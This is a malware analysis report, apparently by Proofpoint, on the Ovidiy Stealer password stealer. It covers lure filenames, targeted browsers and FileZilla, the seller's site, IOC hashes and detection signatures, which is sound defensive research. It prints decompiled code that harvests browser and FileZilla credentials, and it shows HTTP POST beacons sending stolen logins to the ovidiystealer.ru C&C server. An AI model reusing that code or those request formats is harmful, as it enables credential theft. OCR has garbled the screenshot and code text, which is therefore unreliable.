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Overview

Proofpoint threat researchers recently analyzed Ovidiy Stealer, a previously undocumented credential
stealer which appears to be marketed primarily in the Russian-speaking regions. It is under constant
development, with several updated versions appearing since the original samples were observed in
June 2017. The growing number of samples demonstrate that criminals are actively adopting this
malware. Ovidiy Stealer is priced at 450-750 Rubles (~$7-13 USD) for one build, a price that includes a
precompiled executable that is also "crypted" to thwart analysis and detection.

It should be noted that some antivirus solutions are detecting Ovidiy Stealer with generic and heuristic
signatures only. With only heuristic detection, it is possible that an AV solution will detect the behavior of
Ovidiy Stealer but label it in logs with a generic description and thus SOC analysts monitoring alerts
may well see the event but not recognize its significance. Instead, Ovidiy Stealer could be active an
organization's network, throwing alerts but not identified specifically.

Distribution

We believe that Ovidiy Stealer is currently being spread via email as executable attachments,
compressed executable attachments, and links to an executable download. It is also likely spread via
file hosting / cracking / keygen sites, where it poses as other software or tools. In several cases, we
observed the Ovidiy Stealer bundled with a “LiteBitcoin” installer, further validating this claim.
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File Settings Help

ﬁmerﬁew @ Send @ Receive Transactions &Addresses

Wallet (out of sync) Recent transactions (out of sync)
Balance: 0.00 LBTC

Unconfirmed: 0.00 LBTC

Synchvonizing it networt.. NESHENEBETER

Figure 1: This file, spread as “litebitcoin-qt.zip,” bundles Ovidiy Stealer and another RAT, Remote
Manipulator System by TektonIT. While the software is installing both malware samples begin to reach
out to the Command and Control (C&C) servers ovidiystealer[.Jru and rmansys|.Jru.

[Update 7/14/2017: The content of this site has been removed since this article was published. The site
itself appears to still be online.]

a/14



& Chase Soft JoRaBulkin 1.1

C

PezynkbTarhl

3arpysuTh ANCT C 3KKayHTamMu

HacTpoiikn NpoKck cepeepos

Konnyecreo NnoOTOKOB -

330ep¥Ka B CeKyHOaX -

MonuITOK NpoBepKK oWKUbKK -

Crpok B daitne c 6azoi -
Crpok B daitne c npoKcK -
YaauHble KoMBUHaumm -
HeyaauHsle KOMOMHALMK -
AKK3ayHTOB B CEKyHAy -
Ouwnbok -

QcTanods -

20
25

10

F
-

rFs
-

0% | ACC- 0

s
= _

e [ B | opsn.su/ NyYwuid MarazuH!

C
HauaTe nepebop
OCTaHOBHUTE
Mayza

ChpocuTe

S o0 @9 0

Figure 2: This file, spread as “Chase SoftWare 1.2 Jora.exe” appears to be an account checker for
various financial institutions (that is, a hacking tool), that was bundled with Ovidiy

Other observed filenames are listed below and include game lures, hack tool lures, social network lures

and others:

eHideMiner.zip

eVkHackTool.zip

eupdate teamspeak3.5.1.exe
e\WORLD OF TANKS 2017.txt.exe
edice bot.exe

echeat v5.4.3 2017.exe

eVVk.com BulliTl.exe

Analysis
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At the time of writing, we have observed versions 1.0.1 through 1.0.5 distributed in the wild. Ovidiy
Stealer is written in .NET and most samples are packed with with either .NET Reactor or Confuser.
Upon execution the malware will remain in the directory in which it was installed, and where it will carry
out tasks. Somewhat surprisingly, there is no persistence mechanism built into this malware, so on
reboot it will cease to run, but the file will remain on the victim machine.

Ovidiy Stealer is modular and contains functionality to target a multiple applications -- primarily

browsers -- listed below.

o FileZilla

¢ Google Chrome
o« Kometa browser
 Amigo browser
e Torch browser

e Orbitum browser
e Opera browser

Because a separate module carries out the targeting of each application, the fewer the modules
selected, the smaller the malware payload size. Buyers can select as few as a single module, for

example just “Google Chrome”

public static IEnumerable<Table> Inialise()

{

List<Table> list = new List<Table>();

string environmentVariable

= Environment.GetEnvironmentVariable("LocalAppData");

string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string[] array = new string[]

environmentVariable
environmentVariable
environmentVariable
environmentVariable
environmentVariable

+
+
+
+
+

folderPath + "\\Opera

}s

"\\Google\\Chrome\\User Data\\Default\\Login Data",
"\\Kometa\\User Data\\Default\\Login Data",
"\\Amigo\\User\\User Data\\Default\\Login Data”,
"\\Torch\\User Data\\Default\\Login Data”,
"\\Orbitum\\User Data\\Default\\Login Data",
Software\\Opera Stable\\Login Data"

Figure 3: Example code displaying the targeted directories for Chromium based browsers
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bool flag = File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Filezilla\\recentservers.xml");
IEnumerable<Table> result;

if (flag)

1

try
{
List<Table> list = new List<Table>();
string text = Environment.GetFolderPath({Environment.SpecialFolder.fpplicationData) + “\\Filezilla\\recentservers.xml";
string contents = File.ReadAllText(text).Replace(” encoding=\"base64\"", string.Empty);
File.WriteAllText(text, contents);
DataSet dataSet = new DataSet();
dataset.ReadXml(text);
for (int i = @; 1 < dataSet.Tables["Server"].Rows.Count; i++)

{
string @string = Encoding.UTF8.GetString(Convert.FromBase645tring(dataSet.Tables["Server™].Rows[i]["Pass"].TeString()));
try
i
fistring = Encoding.UTF8.GetString(Convert. FromBase645tring(@string));
catch
{
1
try
list.Add(new Table
1
Url = dataSet.Tables["Server”].Rows[i]["Host™] + ":" + dataSet.Tables["Server”].Rows[i]["Port"],
Login = dataSet.Tables["Server”].Rows[i]["User™].ToString(),
Password = fistring,
Program = “"FileZilla"
s

}

Figure 4: Example displaying the code for locating and stealing stored FileZilla passwords

Ovidiy Stealer utilizes SSL/TLS for communication with its command and control server. It currently
utilizes the domain ovidiystealer].]ru for its command and control (C&C) communications; which is is
also the domain used to market and sell the malware. The initial C&C beacon is a POST reporting the
following details:

¢ id: DiskID and ProcessorID

o ver: Ovidiy Stealer version

¢ cn: Windows username

» os: Operating system and version (e.g. Windows 7)
o user: Registered Ovidiy Stealer username

POST https://ovidiystealer.ru/gate.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: E9BC3BD76216AFAS60BFBSACAFS731A3
Host: ovidiystealer.ru

Content-Length: 75

Expect: 100-continue

Connection: Keep-Alive

id= Aver=vl1.0. 2&cn= WLos=Windows 7&user=

Figure 5: Network traffic capture of initial checkin beacon generated by the stealer

The unique ID provided for each infected machine is a combination of the 8 character DiskID and 16
character ProcessorlD, combined into one string. We observed a commonly hardcoded ProcessorlD of
“‘BFEBFBFF000206A7” being used if the function checking the ProcessorID resulted in an empty buffer,
and at least one sample containing “Rofl” for that value. Ovidiy Stealer traffic also includes a hardcoded
User-Agent “E9BC3BD76216AFA560BFB5ACAF5731A3”. This is the md5 hash of the phrase 'litehttp’,
which is also the default User-Agent of the open-source LiteHTTP Bot.[1]. We believe that Ovidiy author
reused the open-source code of the LiteHTTP Bot project.
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namespace Ovidiy.Tools

internal class Misc

}
1

public static void Make(string url, string parameters)

{

byte[] bytes = Encoding.UTF8.GetBytes(parameters):

WebRequest webRequest = WebRequest.Create(url);
webRequest.ContentType = “application/x-ww-form-urlencoded”;
webRequest.ContentLength = (long)bytes.Length;

((HttphebRequest)webRequest) .UserAgent = "EOBC3IBDTE216AFASSOBFBSACAFST31437;

webRequest.Method = "POST™;

Stream requestStream = webRequest.GetRequestStream();
requestStream.Write(bytes, @, bytes.Length);
requestStresm.Close();

requestStream.Dispose();

WebResponse response = webRegquest.GetResponse();

Str der str der = new Str der (response.GetResponseStream());
streamReader .ReadToEnd();
streamReader.Close();
streamReader .Dispose();
response.Close(); T
} Ovidiy Stealer

string result = null;

bytel] param = Encoding.UTF8.GetBytes(parameters);

WebRequest req = WebRequest.Create{url);

req.Method = "POST";

((HttpWebRequest)reg).UserAgent = “ESBCIBD76216AFASGRBFBSACAFST31A3";
reg.ContentType = "application/x-www=form-urlencoded";
req.ContentLength = param.Length;

Stream st = req.GetRequestStream();

st.Write{param, &, param.Length};

st.Close();

st.Dispose();

WebResponse resp = req.GetResponse();

StreamReader sr = new StreamReader(resp.GetResponseStream());

result = sr.ReadToEnd();
sr.Close();
sr.Dispose();
resp.Close();

return result;

LiteHTTP Bot

Figure 6: Code reuse shown: Ovidiy Stealer on the left, LiteHTTP Bot on the right

If the stealer is able to find passwords from targeted applications, it will follow up its initial checkin with

another request reporting the passwords of targeted applications:

¢ id: DisklD and ProcessorID

site: Website with saved credentials
program: Targeted application

login: Saved application username

pass: Saved application password

user: Registered Ovidiy Stealer username

POST

https: //ovidiystealer.ru/loggate.php HTTP/1.1

content-Type: application/x-www-form-urlencoded

User-Agent:

E9BC3BD76216AFASG0EBFBSACAFS731A3

Host: ovidiystealer.ru
Content-Length:

Expect:

id='

100-continue

site= -

‘&program=Filezilla&login=

&pass= ‘&users=

Figure 7: Network traffic capture of credentials exfiltration beacon generated by the stealer

Sales and Support

Ovidiy Stealer is offered for sale on ovidiystealer].Jru, a domain which will help attract potential

customers and, as noted above, also the C&C domain. The malware boasts support, features, and login
access to the web panel. The admin panel for Ovidiy Stealer allows the botmaster to view statistics on

infected machines, view logs, build more stubs, and manage the account.
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Figure 8: Ovidiy Stealer website landing page. Note the “We accept Free-Kassa” button.
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Figure 9: Ovidiy Stealer admin panel
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From the admin console, the botmaster has the capabilities to view and filter logs from infected
machines.

Ovidiy Stealer
& Asseywr:
10 records per page Search:
[E Hymume —]
Nonsacsatens 4 Cadr Norum Rapons Yrunura Barano MCK

& Navens

ovidiystealer.ru/login Chromium 06~2-2017, 08:18 PM
= Norwm

ovidiystealer.ru/login Chromium 06-0-2017, 03:24 PM
#& Chopra . i

login.wk.com/ L R Chromium 06- " -2017,05:13 AM
[C T auth.mail.ru/cgi-binfauth @mail.ru = Chremium 06- 1-2017, 11:38 AM

store.steampowered.com/join/ = - Chromium 06-0-2017, 03:16 PM

Showing 1to 5 of 5 entries Previous . Next

Figure 10: Viewing Ovidiy Stealer client logs

To simplify purchasing, the team behind Ovidiy Stealer uses a service known as 'RoboKassa' to collect
payment for new stubs. RoboKassa is a Russian equivalent to PayPal, allowing users to conduct
payment using credit cards and other types of payment to the sellers; in this case the seller is “Ovidiy”

(Fig. 11).

Hazan & maraamd O Pofokacce Baog, & NisHsi kabusar

Onnara 33K338 B MEraau-e
750 pyGnei ROBOKASSA
M pY CAMEIA VOOEHBIWN O0COB NATHI
0 nara CHeTs
2NEKTPOHHLIM KOLENLKOM Yepea wHTepHeT-0aHK BaHkoBckoid KapToi CoTossle onepaTopst Opyrue cnocobsl
) S‘fTL'LET 9 e . Dm - ‘\i
- ! mastercard EBPOCETDL
VISA
MU= _
A sroviom TELEZ2  csmevon
B TepmuHane
QIiwl = BunalH-
oo WALLET ST

B 2002-2017 000 «BHIHEC INBMEHT»

Figure 11: Payment via RoboKassa offering several options
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Like many other markets with many choices, the malware market is competitive and developers must
market the strengths and benefits of their products in order to attract buyers. To help drive sales, the
development team includes statistics on the progress of certain modules, and other plans for future
releases of the malware. In addition, the site includes “testimonials” from satisfied customers,
presumably to demonstrate to other would-be criminals that they can be profitable when using Ovidiy
Stealer.

PaapaboTka
NYANTO

Crunnap .EXE : 90%

Bonswoe cnacubo coapaTenAm npoexTal A saHMMancs TONLKD

Monynw Gpayaepos : 50%

npogaxed NOroe ¢ Nk, 40X04 B HEOeNo cocTasnmeT ot 2 000
pyGnen!

Moayni nporpams : 55%

ACE

CTUNNEP MHE HY)EH TONLKS ANA B3NGMOB NO 38KA3Y.
O6BACHAKD 4TO 3TO TAKDE: A NPUHMMAID 3AKA3 HA YTOH
aKKAyHTa onpegendHoro yenoeexa. Mocne A paborao ¢ HUM 1
nogxuaseae cTuanep. Bot 1 Bcé, 3a ogMH 3aKa3 nony4aw
300-500 py6ned. Bea sToro npoekTa aTo Guino bl
nesoamoxHo! Cnacubol

Figure 12: Reviews and development progress. The user ACE’s comments translate to English as: ‘I
only need the stealer for burglary on order. | explain what it is: | accept an order for the hijacking of a
certain person's account. After | work with him and install the stealer. That's all, for one order | get 300-
500 rubles. Without this project it would be impossible! Thank you!”

The main author of this project goes by the handle "TheBottle," evident from the informational page of
the Ovidiy Stealer website. Moreover, the name 'TheBottle' is observed in at least one sample's PDB
string:

C:\Users\TheBottle\documents\visual studio 2017\Projects\Ovidiy\Ovidiy\obj\Debug\Ovidiy.pdb
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SITE TEAM

Hesponsive administration - always answer your questions.

TheBottle

Gen.Director

I'm working on the development of both the web part and the very same styler. At any time, write, always help.

Figure 13: Self proclaimed author of Ovidiy Stealer, ‘TheBottle’, translated to English
Conclusion

Ovidiy Stealer is a new password stealer that entered the criminal ranks barely one month ago. While it
is not the most advanced stealer we have seen, marketing and an entry-level price scheme make it
attractive and accessible to many would-be criminals. Ovidiy Stealer is lightweight and simple enough to
work with relative ease, allowing for simple and efficient credential exfiltration. A lightweight, easy-to-
use, and effective product coupled with frequent updates and a stable support system give Ovidiy
Stealer the potential to become a much more widespread threat. Stolen credentials continue to be a
major risk for individuals and organizations, because password re-use can enable one stolen login to
compromise several more accounts, and the sale of stolen accounts continues to be a lucrative market
for criminal looking for quick profits. Ovidiy Stealer highlights the manner in the cybercrime marketplace
drives innovation and new entrants and challenges organizations that must keep pace with the latest
threats to their users, their data, and their systems.

Indicators of Compromise (IOCs)

10C I0C Description
Type
ovidiystealer.ru Domain  Ovidiy
Stealer C&C
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7de66557dacbabe5228faa294c¢357ad02c9f07eb2395229f209776bc9a09dfb4  SHA256 Litebitcoin-
gt.zip Ovidiy
Stealer

3ddc17470fb86dcb4b16705eb78bcbcb24dce70545f512ce75c4a0747474ef52  SHA256 Chase
SoftWare
1.2 Jora.exe
Ovidiy
Stealer

5a44126ea4c5c9bbc3c44fec0346c3071b55fb6abb10ad3299590a3b0e2a8fc7 SHA256 Uber.exe
Ovidiy
Stealer

8d70877b4014a726e64d3338c454489628a78dcee3e533152ff2223e3bdec506 SHA256 Ovidiy
Stealer

d469e7f2531eed4c3f418a71acdbd08dd167409047812ab78f5407730d077792 SHA256 Ovidiy
Stealer

d5711ac689d2cae77d19fab19768870adec983e4cdbd04f58d77828ef61eec88  SHA256 Ovidiy
Stealer

a18fce17e57b324b8552ac8f34a912a6788be028988288d9b6752¢c7911a0936  SHA256 Ovidiy
Stealer

¢c16408967de0cadd3a1d28530453e1c395a5166b469893f14¢c47fc6683033cb3 SHA256 Ovidiy
Stealer

255899d86d58a95499473046fch6ad821ac500af8679635487d9003balf7b3ec  SHA256 Ovidiy
Stealer

2ab54eb17cc418da37fa3a45ceb840882bf1800909753e6431c2e3b0fcef4308a SHA256 Ovidiy
Stealer

84097d78bc73c9d8b4d7f4751c0dbb79da5d8883bd0fd27194cc21e05fdbca04  SHA256 Ovidiy
Stealer

cObf76eee1a42607236652151e1ff67a5e058e780e487d18e946dad6c2084f5d SHA256 Ovidiy
Stealer

d733dbd549111ecfb732da39bd67d47c631a0b15b2fb4e8ff4460b63088cd4ed4 SHA256 Ovidiy
Stealer
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062bd1d88e7b5c08444de559961f68694a445bc69807f57aad4ac581c377bcd32 SHA256 Ovidiy
Stealer
80d450ca5b01a086806855356611405b2¢c87b3822¢c0c1¢c38a118bca57d87¢c410 SHA256 Ovidiy
Stealer
22fc445798cd3481018c66b308af8545821b2f8f7f5a86133f562b362fc17a05 SHA256 Ovidiy
Stealer
8542a49b3b927d46fefae743b61485004a3540a4e204€e882028a85f08f4b3ee  SHA256 Ovidiy
Stealer

ET and ETPRO Suricata/Snort Coverage

2827113 | Observed DNS Query to Ovidiy Stealer ChnC Domain
2827114 | MSIL/Ovidiy Stealer CnC Checkin
2827115 | MSIL/Ovidiy Stealer Reporting Passwords

2820681 | ETPRO TROJAN W32/XPCSpyPro/RemoteManipulator RAT Checkin
2808335 | ETPRO POLICY Win32/RemoteAdmin.RemoteUtilities.C Checkin
2811005 | ETPRO POLICY RADMINRMS.WIN32.1 Checkin POST
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